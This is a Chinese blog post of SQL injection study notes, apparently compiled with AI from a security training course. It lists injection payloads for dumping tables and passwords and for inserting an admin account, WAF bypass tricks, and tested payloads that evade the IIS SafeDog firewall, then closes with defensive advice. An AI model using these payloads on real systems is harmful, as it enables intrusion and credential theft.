8_渗透测试SQL注入漏洞深度笔记

SQL注入漏洞深度笔记(从原理到实战绕过)

目录

  1. SQL注入基础概念
  2. SQL注入分类体系
  3. 手工注入通用流程
  4. 各注入技术详解(由易到难)
    • 4.1 联合查询注入(UNION)
    • 4.2 报错注入
    • 4.3 布尔盲注
    • 4.4 时间盲注
    • 4.5 堆叠注入
    • 4.6 二次注入
    • 4.7 宽字节注入
    • 4.8 特殊位置注入(Cookie、Base64、XFF)
  5. SQL注入绕过技术(WAF绕过)
    • 5.1 语法层绕过
    • 5.2 编码层绕过
    • 5.3 函数/操作符替代绕过
    • 5.4 协议层绕过
    • 5.5 逻辑层绕过
  6. 实战绕过案例——IIS安全狗
  7. 防御建议与总结

1. SQL注入基础概念

1.1 漏洞定义

Web程序未对用户输入进行过滤,直接将参数拼接到SQL语句中执行,导致攻击者可执行任意SQL命令。

1.2 产生条件(两个必要条件)

  • 参数用户可控:前端参数可由用户任意修改。
  • 参数带入数据库查询:参数直接拼接到SQL语句并执行。

1.3 典型危害

  • 查询/导出敏感数据
  • 写入WebShell获取服务器权限
  • 绕过登录验证
  • 执行系统命令(需特定条件)

1.4 注入原理演示

-- 正常查询
select * from users where id = 1

-- 注入测试
id = 1'  → 报错(语法错误)
id = 1 and 1=1  → 正常返回
id = 1 and 1=2  → 无返回(或异常)

and 1=1and 1=2 返回页面不同,则大概率存在注入。


2. SQL注入分类体系

2.1 按请求方式

类型 参数位置 特点
GET注入 URL查询字符串 有长度限制,需URL编码
POST注入 请求体 无长度限制
Cookie注入 Cookie头 常被开发者忽略

2.2 按数据提交类型(闭合方式)

类型 示例SQL 闭合方式
整型 id = 1 无需引号闭合
字符型 username = 'admin' 需闭合单引号
搜索型 title like '%关键词%' 需处理百分号和引号

2.3 按注入技术(由简到难)

  1. 联合查询注入(UNION)
  2. 报错注入
  3. 布尔盲注
  4. 时间盲注
  5. 堆叠注入
  6. 二次注入
  7. 宽字节注入
  8. 特殊位置注入(Cookie/Base64/XFF)

3. 手工注入通用流程

以下步骤适用于大多数MySQL注入场景(以字符型为例):

  1. 判断注入点及类型
    输入 ' 报错 → 字符型;输入 and 1=1 / and 1=2 观察页面差异。

  2. 猜测字段数
    order by N(N从1递增),直到报错,字段数 = N-1。

  3. 确定回显位置
    -1' union select 1,2,3,...,N --+,观察页面哪些数字被显示。

  4. 获取数据库基本信息
    database(), version(), user(), @@datadir 等。

  5. 获取所有表名
    利用 information_schema.tables

  6. 获取指定表的字段名
    利用 information_schema.columns

  7. 获取数据
    联合查询或逐行获取。


4. 各注入技术详解(由易到难)

4.1 联合查询注入(UNION)

原理
通过 UNION SELECT 将攻击者构造的查询结果附加到原查询结果上,要求前后两个查询的列数相同。

核心 Payload

-- 获取当前数据库名
-1' union select 1,database()--+

-- 获取所有表名(group_concat合并)
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

-- 获取某表所有字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+

-- 获取用户表数据
-1' union select 1,group_concat(user,0x3a,password) from users--+

要点

  • -1 使原查询无结果,便于显示第二查询。
  • 0x3a 是冒号 : 的十六进制,用于分隔字段。
  • 表名/字段名可用十六进制避免引号。

4.2 报错注入

原理
利用数据库报错信息将查询内容回显出来,适用于页面显示数据库错误信息。

常用函数

  • updatexml():最多回显32字符
  • extractvalue()
  • floor() + group by
  • polygon(), multipoint() 等几何函数(用于绕过)

Payload 示例

-- 获取当前用户
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

-- 获取表名(使用floor,无长度限制)
1' and (select 1 from(select count(*),concat((select (select distinct concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database() limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

注意updatexml 只能显示32字符,超长内容需用 substring 分段获取。


4.3 布尔盲注

适用场景
页面只返回“真”或“假”两种状态,无显错信息。

核心函数length(), substr(), if()

Payload 示例

-- 判断数据库名长度是否为4
1' and if(length(database())=4,1,0)--+

-- 判断数据库名第一个字符是否为'd'
1' and if(substr(database(),1,1)='d',1,0)--+

效率提升
用 BurpSuite 的 Intruder 爆破字符集(0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@_)。


4.4 时间盲注

适用场景
页面无任何回显差异(无论真假返回相同),通过延时判断。

核心函数sleep(), if()

Payload 示例

-- 若数据库长度大于1,延时5秒
1' and if(length(database())>1,sleep(5),0)--+

自动化
可用 sqlmap 指定 --technique=T 进行时间注入检测。


4.5 堆叠注入

原理
使用分号 ; 分隔多条SQL语句,可执行任意SQL(增删改查、创建用户等)。

条件
数据库连接函数支持多语句执行,如 mysqli_multi_query()

Payload 示例

-- 插入管理员账号
1'; insert into users(id,username,password) values(1000,'hacker','123456')--+

注意:堆叠注入的结果可能只返回第一条查询的结果,但后续语句依然生效。


4.6 二次注入

原理
第一次插入数据时对特殊字符转义(如 addslashes),但存入数据库的是原始数据;第二次从数据库取出时未过滤,直接拼接,导致注入。

典型场景
注册 → 修改密码;留言 → 编辑文章;邮箱绑定 → 修改设置。

测试方法
注册两个用户 a' and 1=1#a' and 1=2#,然后在修改密码功能中观察是否一个成功一个失败。

利用实例
注册 admin'#,修改密码时即可修改 admin 的密码。


4.7 宽字节注入

原理
当数据库编码为 GBK 时,%df%27 被转义为 %df%5c%27,而 %df%5c 是一个合法宽字节字符(運),导致反斜杠被“吃掉”,单引号逃逸。

前提条件

  • PHP 编码与 MySQL 编码不一致(如 PHP UTF-8,MySQL GBK)。
  • 字符集包含低字节为 0x5C 的字符(GBK、Big5 有,UTF-8 无)。

Payload 示例

-1%df%27 union select 1,version(),database()--+

4.8 特殊位置注入

4.8.1 Cookie注入

参数从 $_COOKIE 获取,未过滤。

Cookie: uname=admin' union select 1,2,user()--+

4.8.2 Base64编码注入

参数经 Base64 编码,服务端解码后拼接到 SQL。

  • 原始:admin' and 1=1--+
  • Base64:YWRtaW4nIGFuZCAxPTEtLQ==

4.8.3 XFF注入

服务端获取 X-Forwarded-ForHTTP_CLIENT_IP 头,未过滤。

X-Forwarded-For: 127.0.0.1' and 1=1--+

5. SQL注入绕过技术(WAF绕过)

以下绕过方法针对常见的WAF(安全狗、云WAF、360WebScan等)拦截规则。

5.1 语法层绕过

绕过对象 方法 示例
空格 使用 %09, %0a, %0b, %0c, %0d, %a0 或注释 /**/ union/**/select
大小写 混合大小写 UnIoN SeLeCt
注释 内联注释 /*!...*/ /*!union*/ /*!select*/
换行 换行分割关键字 union--+\nselect
双关键字 插入多余关键字,过滤后拼接 UNIunionONUNION
花括号 在 select 后加 {x 1} union select{x 1},user()
ALL/DISTINCT 加在 union 后 union all select, union distinct select

5.2 编码层绕过

编码类型 说明 示例
URL编码 将字符转为 %xx %75%6e%69%6f%6e → union
双重URL编码 二次编码,服务器 urldecode 两次 %2527%27'
Unicode编码 %uXXXX 形式(IIS支持) %u0075%u006e%u0069%u006f%u006e
十六进制 表名/字段名用0x... TABLE_NAME=0x7573657273(users)

5.3 函数/操作符替代绕过

原方式 替代方式 示例
substr(string,1,1) substr(string from 1 for 1) 绕过逗号过滤
mid() substr 绕过函数名过滤
逗号 , 使用 joinlimit offset limit 1 offset 0
等号 = like, rlike, regexp, <, > user() like 'r%'
and / or && / `

5.4 协议层绕过

  • 分块传输(chunked)
    在 HTTP 头加 Transfer-Encoding: chunked,将 payload 分块发送,部分 WAF 不解析 chunked 内容。

  • multipart/form-data
    将参数放在 Content-Disposition 中,WAF 可能忽略该部分。

  • charset 编码
    修改 Content-Typecharsetibm037 等,将 payload 按该编码提交,WAF 不识但服务器可解。

5.5 逻辑层绕过

  • 参数污染(HPP)
    PHP 取最后一个参数,ASP 取所有参数拼接。例:id=1&id=-1 union select...

  • 白名单绕过
    WAF 不拦截特定路径如 /admin.php/phpmyadmin

  • 静态文件绕过
    添加 .jpg.css 等后缀,如 ?name=vince.jpg&id=1 union...

  • Pipeline 绕过
    在同一个 TCP 连接中发送多个请求,WAF 可能只检测第一个。


6. 实战绕过案例——IIS安全狗

以下为绕过 IIS 安全狗(WAF)的实测 Payload,供参考。

6.1 整型布尔盲注(判断版本)

GET /vul/sqli/sqli_get.php?id=\Nor(substr(@@version+from+1+for+1)=5)--+&submit=1
  • 使用 \N 替代数字,or\Nor 绕过(反斜杠干扰)。

6.2 字符型布尔盲注(if + hex 比较)

GET /vul/sqli/sqli_str.php?name=vince'and+0x31!=if((substr((select+password+from+`users`+limit+1)+from+2+for+1)='1'),0x30,0x31)--+
  • 利用 if 返回 0x300x31,与 0x31 比较,根据页面正确/错误判断。

6.3 联合查询绕过(字符型)

GET /vul/sqli/sqli_str.php?name=vince%27+union/*//--//*/select+1,(select+password+from+`users`+limit+1)--+
  • /*//--//*/ 作为注释,干扰 WAF 正则,同时反引号保护表名。

6.4 POST整型联合注入

POST /vul/sqli/sqli_id.php
id=-1+union+select+1,(select+concat(username,password)+from+users+limit+1)&submit=1
  • 简单空格和注释未使用,但利用反引号表和列名绕过关键字检测。

7. 防御建议与总结

7.1 最佳实践

  1. 使用预编译/参数化查询(如 PDO、MyBatis)—— 彻底杜绝注入。
  2. 输入验证:严格校验数据类型、长度、格式(白名单)。
  3. 特殊字符转义(仅作辅助,不如预编译可靠)。
  4. 统一字符编码(UTF-8),避免宽字节问题。
  5. 最小权限原则:数据库用户只授予必要权限(如仅 SELECT)。
  6. 关闭错误回显display_errors = Off)。
  7. 部署 WAF 并定期更新规则

7.2 总结

SQL注入漏洞历史悠久但依然广泛存在,学习其原理、分类、手工利用技巧及绕过方法是安全从业者的必修课。本文由浅入深,从基础到实战,覆盖了主流注入技术和 WAF 绕过思路。所有技术仅限合法授权测试,严禁用于非法用途。
注意本笔记是源于暗月安全培训 https://edu.moonsec.com 的ai整合版

posted @ 2026-07-07 11:15  新手打怪兽  阅读(15)  评论(0)    收藏  举报